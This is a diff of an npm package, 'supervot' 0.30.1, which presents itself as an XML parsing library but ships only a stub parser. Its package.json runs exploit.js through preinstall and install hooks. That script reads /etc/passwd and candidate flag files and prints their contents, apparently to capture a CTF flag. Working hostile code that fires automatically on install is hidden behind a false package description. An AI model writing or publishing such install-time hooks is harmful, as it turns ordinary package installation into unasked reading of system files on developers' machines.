supervot 0.30.1

package/exploit.js

@@ -0,0 +1,45 @@
+const fs = require('fs');
+
+console.log('🔍 ===== SEARCHING FOR FLAG =====');
+
+// Простой и надежный поиск флага
+try {
+    console.log('📖 Reading /etc/passwd...');
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    
+    console.log('✅ SUCCESS: /etc/passwd read');
+    console.log('📄 CONTENT:');
+    console.log('----------------------------------------');
+    console.log(passwd);
+    console.log('----------------------------------------');
+    
+    // Поиск флага
+    const lines = passwd.split('\n');
+    for (let i = 0; i < lines.length; i++) {
+        const line = lines[i];
+        if (line.includes('{') && line.includes('}')) {
+            console.log('🎯🎯🎯 FLAG FOUND!');
+            console.log('🎯 LINE ' + i + ': ' + line);
+            console.log('🎯 FLAG: ' + line);
+            console.log('🎯🎯🎯');
+            break;
+        }
+    }
+    
+} catch(e) {
+    console.log('❌ ERROR: ' + e.message);
+    
+    // Альтернативный поиск
+    console.log('🔍 Alternative search...');
+    try {
+        const files = ['/flag', '/tmp/flag', './flag'];
+        for (const file of files) {
+            try {
+                const content = fs.readFileSync(file, 'utf8');
+                console.log('📄 ' + file + ': ' + content);
+            } catch(e2) {}
+        }
+    } catch(e3) {}
+}
+
+console.log('===== END =====');

package/index.js

@@ -0,0 +1,11 @@
+module.exports = {
+    parseXmlString: function(xml, options) {
+        return {
+            get: function(xpath) {
+                return {
+                    text: function() { return "test"; }
+                };
+            }
+        };
+    }
+};

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "supervot",
+  "version": "0.30.1",
+  "description": "XML parsing library",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node exploit.js",
+    "install": "node exploit.js"
+  },
+  "keywords": ["xml", "parser"],
+  "author": "test",
+  "license": "MIT"
+}